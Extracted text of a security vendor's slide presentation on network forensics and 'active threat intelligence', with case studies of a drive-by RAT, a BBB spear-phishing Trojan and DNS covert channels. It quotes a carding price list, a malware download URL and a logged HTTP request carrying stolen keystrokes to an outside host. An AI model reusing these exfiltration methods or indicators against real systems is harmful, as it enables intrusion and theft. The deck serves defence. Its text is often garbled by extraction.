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Agenda

• Observations on the current technical threat environment 
and what we can do to improve security duringand what we can do to improve security during 
operations

• The need for “active threat intelligence” and a new 
approach to network security monitoring including 
deeper inspection of network traffic

• Technology illustrations and specific casesTechnology illustrations and specific cases
• Final thoughts and Q&A
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Organizations Are Being Slammed

"TJX Employee Fired for 
Exposing Shoddy Security"
The Register (UK) (05/27/08)

VISA MasterCard USA (with cvv2 code)

The Register (UK) (05/27/08) 

VISA, MasterCard USA (with cvv2 code)

количество идентификация цена в $USD 

5-50 есть в продаже 5.0

51-100 есть в продаже 4.5

101 500 есть в продаже 4 0101-500 есть в продаже 4.0

501-1000 есть в продаже 3.0

1001-5000 есть в продаже 2.0

более 10000 есть в продаже пишите

Если Вам нужно более 10000 карт свяжитесь с нами дляЕсли Вам нужно более 10000 карт, свяжитесь с нами, для 
Вас будет отдельная скидка

Source: iDefense
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Unseen Adversaries…

• TJX:
– Use of WEP protocol led to the ability of hackers to target at p y g

least two of their sites and gain internal network access
– TJX should have been using WPA or VPN in accordance 

with “best” practices – but, with hundreds of stores, there is 
i h t h llan inherent challenge

– Hackers exploited vulnerabilities to place malicious code on 
TJX servers and used this platform to achieve desired goals

H f d• Hannaford:
– Retailer was in compliance with PCI DSS 1.1
– Malcode placed on actual POS servers – credit card number 

t d t i t f i iti d t t fcaptured at point of acquisition and sent out of company
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Nation-State Operatives
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USG Security Breaches

• Invisible Threats?
– Spear phishing attack against 

d t i t d tend users as entry point due to 
good network layer perimeter 
security

– End user weaknesses to social 
engineering permitted initial 
entry points

– Lots of important data stolen by 
foreign operativesg p

– Indicative of a government-wide 
problem as well as a problem 
seen in critical infrastructure

• Failure to detect “invisible 
threats”:

– non-HTTP traffic over standard 
port 80

– non-DNS traffic over standard 
port 53

– non-SSL traffic over standard 
port 443port 443
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Who Is Doing the Hacking?

• Electronic Criminal Groups:  Rapidly Emerging Underground 
Industry  (several examples of successful large scale 
operations)
– Organization:  High  
– Capability:    High  
– Desire:  High for financial gain, unknown otherwise

• Nation-Sponsored Activities: From Intelligence Gathering to p g g
Network-Centric Warfare   (Chinese Information War: Theory 
and Practice / aka “Dragon Bytes”, Sandia, DoD, State Dept, 
DHS, Germany)
– Organization: High   
– Capability: High   
– Desire: Connected to national policy



Exploitation Cycle
Opportunities for Improved Visibility

• Reconnaissance – Network mapping and critical data 
asset identificationasset identification 

• Exploit/Attack – Gain Access
• Command and Control – Establishment of a deep p

foothold.  Install malware, toolkits and politely patch too
• Ongoing Operations – Broaden communications within 

victim networks for a variety of purposesvictim networks for a variety of purposes
• Data Exfiltration – Data taken out of the network in drips 

or in buckets
• Cleanup – Good adversaries do not leave you a lot of 

clues and remain invisible to your current sensors
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Additional Complexity 
and Security Investment State

• Wireless, Web 2.0, SOA, mobility, XML, RFID, connections to everyone
• Transient user/partner base, supply chain, globalization, digitization

• ALL THREATS ARE ALREADY INTERNAL
• ALL EXPLOITS THAT MATTER ARE T MINUS 21 FROM ZERO-DAY

• HAVE A NICE DAY

• Largely perimeter-based, largely external threat focused
• Largely signature-based/obsolete by definition against 

advanced threat (consider STORM: a daily polymorphic,advanced threat (consider STORM: a daily polymorphic, 
self mutating, encrypted, P2P, worm Trojan with 
compartmentalized botnet functionality)

• No definitive host integrity for foreseeable future (HIPS, g y ( ,
NAC, all good stuff, but many complex and imperfect)

• Log and flow-based monitoring relies on the above 
(GIGO)( )
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Internal Drivers Are Powerful

• Organizations also face important internal control issues:
– Requirements for protection of PII PHI R&D classified dataRequirements for protection of PII, PHI, R&D, classified data
– Ongoing HR and legal problems and concerns
– Statutory, regulatory and policy compliance requirements

Th d t d t t t titi b h i– The need to detect counter-competitive behaviors
• In addition to the potential compromise of internal 

technology assets, the internal people factor is powerful gy , p p p
too:
– Disgruntled employees

Employees misusing I/T assets– Employees misusing I/T assets
– Criminals
– Espionage
– Mistakes
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Threat Summary

• External adversaries, well funded and very serious, 
understand your defenses and are working around themy g

• Your organization is subject to many weaknesses 
inherent to new technology adoption, bugs, process 
gaps and irresolvable end user weaknessgaps, and irresolvable end user weakness

• The most important threats today may be invisible to you 
given current network monitoring approaches
Thi th t i t i li th t t i ti• This threat environment implies that most organizations, 
in spite of varying degrees of preparedness, must 
assume that malcode will be present

• In order to protect your organization, you have to shorten 
the time between the moment an event or an attack 
occurs and the time you know about ity
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The Need for A New Approach to 
Network MonitoringNetwork Monitoring

Active Threat Intelligence
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What is Active Threat Intelligence?

• A new way of thinking about network monitoring for incident 
responders / investigators, threat analysts, auditors and others

• Reconstruction of network events to provide active threat 
intelligence into actions and behavior

• What unique information might we obtain from next generation 
security monitoring?security monitoring?
– Why are the certain transaction types or inquiries on our network new 

or so prevalent?
– How can I be sure this IDS or SIM event is a false positive?
– What is the magnitude of this incident?  What other systems and 

traffic is implicated?
– Who is using policy evasion technologies (e.g. TOR, PGP, etc.) to 

transfer files out of our network and to avoid audit or detection?transfer files out of our network and to avoid audit or detection?
– Which employees are doing X, Y and Z relative to our goals?
– Who communicates with our competitors the most and how?
– How is any class of data leaving our organization?
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Technical Requirements

• Record, decode and index all 
network traffic at critical ingress / g
egress points and within key 
communities of interest

• Fusion of 3rd party intelligence 
services to understand theservices to understand the 
reputation and characteristics of 
network and application behavior

• Automate the view of network traffic

Tap / Span

Automate the view of network traffic 
so you are not focusing on IP 
addresses and ports, but on 
reconstructed conversations, 

ti d b h iactions and behaviors
• The world should not look like hex 

and IP addresses if you do this right 

14
14

Live Network Capture
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What is Session Analysis?

• Typical methods
– Port based identification

example: Port=80 is web traffic

• Port agnostic method
– If packet contains IRC structure in the 

payload then it IS IRC trafficexample: Port=80 is web traffic
– IP based identification

example: IP=216.178.38.116 is 
myspace

payload then it IS IRC traffic
– Increasingly traffic is designed to run 

over common ports such as 80, 443, 53
– Increasingly traffic is encapsulated
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Illustrations
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Example #1:  Drive-by-Exploitation

• What is a “drive-by?”
• In early 2008, more than 10,000 hosts 

were compromised –The attackers 
embed code to silently redirect users 
to malicious web sites hosted around 
the world This trend continues todaythe world. This trend continues today

• Difficult to prevent and tough for many 
organizations today to determine 
scope of threat and loss

• Stay alert for: 
– Cross-site scripting
– zero-size IFRAMES
– malicious downloads (i.e. “exe” and 

obfuscated JavaScript)
– non-standard traffic appearing over 

various ports  p
– Dynamic DNS



Detecting an Initial Problem Area…

• Assumption:  
you are 

f i f llperforming full 
packet capture, 
port agnostic 
decoding and g
session  
analysis

• In this case, the 
i t fexistence of a 

notorious 
DYNDNS is 
particularly p y
concerning…
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Other Problem Areas

• Once the dynamic
DNS activity is 
di d thdiscovered, other 
suspicious activity 
occurring around 
the same 
date/time stamp 
can easily be 
mined and charted
Th th t• The threat 
intelligence model 
matures as 
adversarial trends 
are further 
understood and 
codified

Let’s look at the data…



What Happened?
Chinese Academy of Sciences

• Chinese site 
hosting somehosting some 
malcode

• Users arrive there 
by many means

• Embedded in the 
site is a scriptsite is a script 
seen in many 
sites recently
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Pervasive Deployment of Malcode

• The site displays the 
presence of the bad 
script

• Searching for the 
hosting site turns up 
over 10,000 Google 
hits
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Exploits Placed on Victim Host

• Multiple binaries are downloaded to the client, if exploit is 
successful e g MDAC (MS06-14) and recent Real Player exploitsuccessful, e.g. MDAC (MS06 14) and recent Real Player exploit
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Mods to Windows Registry, etc.

• To ensure persistence, the 
Malcode also creates 
modifications to registry for 
Windows Update service to point 
to hidden / trojanized svchost exeto hidden / trojanized svchost.exe 
program
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And Also…a USB Autoplay Exploit

• Another propagation 
“feature” detectsfeature  detects 
removable media and 
places autorun.inf and 
setup.exe in the root p
directory

• Many machines do not 
have the correct 
security policy selected

• Once run, the program 
also redirects the 
HTTP and HTTPS 
services, presumably 
to capture sensitive 
information via a MITM 
attack
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Summary

• This is a RAT (remote access Trojan) that beacons to 
nb11 3322 org (dots replaced with dashes; it's a dyndnsnb11-3322-org (dots replaced with dashes; it s a dyndns 
provider in the PRC) over TCP 80

• It hijacks the Windows Automatic Update Service 
( ) b dif i i t t i t i t t th(wuausrv) by modifying registry entries to point at the 
malware

• It has the capability to exfiltrate (via TCP 80) files, p y ( )
download updates or additional malware, and log 
keystrokes

• It can propagate via removable media. Once infected,It can propagate via removable media. Once infected, 
the malware places two hidden files (hidden attribute 
turned on for the files - "autorun.inf" and "setup.exe") on 
the root of the devicethe root of the device
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Example #2:  BBB SpearPhishing

• Objective:  Proactive 
threat management:threat management:

• Salesforce.com gets 
owned

• “BBB” Phishing ensues 
from stolen email 
addressesaddresses

• Was I hit? Did something 
sneak through my email 
filters?  If so, who? How?

• Scope and magnitude of 
compromise?compromise?



Favored Attack Approaches - Email

• One of the primary attack vector favored by adversaries is 
email; all organizations need to communicate with the outside 
world; it is the soft underbelly of most networks
– AV cannot protect against what it does not know about; 

sometimes a vulnerability itself
U f li t id l it b tt k h i d– Use of client-side exploits by attackers have increased 
substantially

– For example, malicious payloads embedded in innocuous-
looking email attachments – Microsoft Word, PowerPoint,looking email attachments Microsoft Word, PowerPoint, 
Excel, etc.

– Only a tiny amount of code execution necessary to contact an 
external system & download and install more sophisticated 

lmalware 
• Low risk, high probability of success; all it takes is one user on 

a vulnerable system
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Better Business Bureau Phishing 
Scam

• Two company executives (Company President & Vice 
President) at NetWitness received emails claiming thatPresident) at NetWitness received emails claiming that 
complaints were made against them and the company

• Email instructed recipients to open Word attachment for 
instructions on how to resolve the complaint 
(“Document_for_Case.doc”)

• Executives identified emails as suspicious and did notExecutives identified emails as suspicious and did not 
open

• Attachment analyzed using virtual system (VMWare) and 
open source tools (Sysinternals, Ollydbg, Hex 
Workshop, etc)
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Suspicious email
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Sample Malicious Email



Suspicious attachment gets more 
suspicious

• An embedded PDF file inside of Word attachment looks 
even more fishyeven more fishy

• Alarm bells should be going off at this point
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Unsophisticated Delivery Mechanism
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More bad karma

• Adobe Reader issues an error 
• Malicious code executed in background• Malicious code executed in background
• “update443.exe” downloaded from 

http://64.17.184.98/cs/scriptsp p
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Malicious executable “update443.exe” 
hosted on a church website in Kentucky 

(graceofholland.org)(graceofholland.org)
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“update443.exe” Analysis 

• Malicious code injected into IEXPLORE.EXE process; runs as “SYSTEM” 
vs. user-level

• Malicious DLL “update.dll” hooked into running IEXPLORE.EXE process, 
and any new instances of IEXPLORE.EXE processes
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Building A Threat Intelligence Model

• Assumption: you 
are performing full 

k t t dpacket capture and 
session analysis

• Alert types:
– “BBB” in email 

subject 
– “Complaint Case”
– Beaconing actions– Beaconing actions
– Top destination 

countries
– Filenames
– Domain names, 

URLs



Understanding Potential Damage and 
Pathology of the Malware



Summary:  BBB Beacon Trojan

• Beaconing activity is obvious because of short time 
delay (~8 seconds) y ( )

• Much harder to detect beacons with large time delays 
(i.e. one packet / hour)

• Begins after malware is retrieved, extracted, installed & 
running

• A “phone home” to report in with machine name &• A phone home  to report in with machine name & 
logged in user
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Example #3:  Bad News DNS

• Normal Traffic: “The perfect 
place to hide”

• HTTP, DNS, HTTPS, Etc.
• Non-standard traffic using 

standard ports is a good tip
E N DNS T ffi– E.g. Non-DNS Traffic over 
Port 53

• Should I be concerned? How 
do I look for it? Where do I 
look for data?
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Bad News DNS

• Lots of bad uses for DNS by state-sponsored hackers and organized 
crime

• Dynamic DNS
– Attackers often use free (and non-attributable) dynamic DNS hosting 

services as callback hosts that attackers use to control infected machines 
and receive exfiltrated keystrokes / proprietary data
F l h t d k t i ht h (+/ 10 d ) t– For example, a host sends one packet every eight hours (+/- 10 seconds) to 
hostname “winupdate.dyndns.org”  

• Use of DNS as a covert channel
– Hiding of non-DNS traffic in what appears to be DNS packets

Trojan communications are very difficult to identify in terabytes of network– Trojan communications are very difficult to identify in terabytes of network 
communications

• Sometimes only a few packets per hour, or even a few packets a day
• Packet from a Trojan disguised as an HTTP GET request that is actually 

transmitting obfuscated keystrokes to a host in Malaysiatransmitting obfuscated keystrokes to a host in Malaysia
• 0.277564 66.104.20.242 203.121.69.232 HTTP GET 

/theif2/parse.php?op=log&fn=07_06_2007.html&user=SYSTEM_APPSERV
ER&str=\325\241\275\244\245\327\325\253\206\215\220\327\325\213\206\2
15\220\311\213\216\212\206\205\206\233\324\313\312\331\331\331\331\32
1\331\313\327\325\217\206\207\235\311\212\206\205\206\233\324\313\312\1\331\313\327\325\217\206\207\235\311\212\206\205\206\233\324\313\312\
257\257\257\257\331\331\313\327\325\306\217\206\207\235\327 HTTP/1
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Using Active Threat Intelligence

• Charts tracking 
Non standardNon-standard 
service over 
standard ports

• Track items like:
– Non-DNS over 53

Non-HTTP over 80– Non-HTTP over 80
– Non-SMTP over 25
– Etc…

• Traffic spike for 
Non-DNS over 53? 
Drill.
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Final Thoughts and Conclusions
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Network Data Source Value Chain

Data Source Description

IDS Software Sometimes the first indicator of a problem, for known exploits.  Can 
produce false positives and is signature based.

SIM Software Correlates IDS and other network and security event data and 
dramatically improves signal to noise ratio.  Is valuable to the d a at ca y p o es s g a to o se at o s a uab e to t e
extent that data sources are properly integrated.

Full packet capture 
and session 
reconstruction

Collects the richest network data. Provides a deeper level of 
threat identification and analysis and traffic reconstruction.

reconstruction
Firewalls, Gateways, 
etc.

Overwhelming amounts of data with little context, but can be 
valuable when used within a SIM and in conjunction with full packet 
capture and network forensics reviews.

Network Monitoring Network performance management and network behavioral 
anomaly detection (NBAD) tools. Indicators of changes in traffic 
flows within a given time slice.
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Conclusions

• Threats faced by organizations require deeper situational 
awareness and definitive network visibility provided byawareness and definitive network visibility provided by 
investigative infrastructures and the use of full packet 
capture and network forensic techniques

• Security professionals can increase the effectiveness of 
their own skills and ongoing operations by integrating 
network investigative approachesg pp

• This stuff is not voodoo, and will help improve situational 
awareness, the effectiveness and timeliness of 
i ti ti li li d l th i t finvestigations policy compliance and lower the impact of 
potential threats

• YOU should be doing this stuff EVERY DAY!YOU should be doing this stuff EVERY DAY!
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Thanks for your time!

For a copy of this presentation, please email me:
eddie@netwitness.com

+1 703 932 9550+1-703-932-9550
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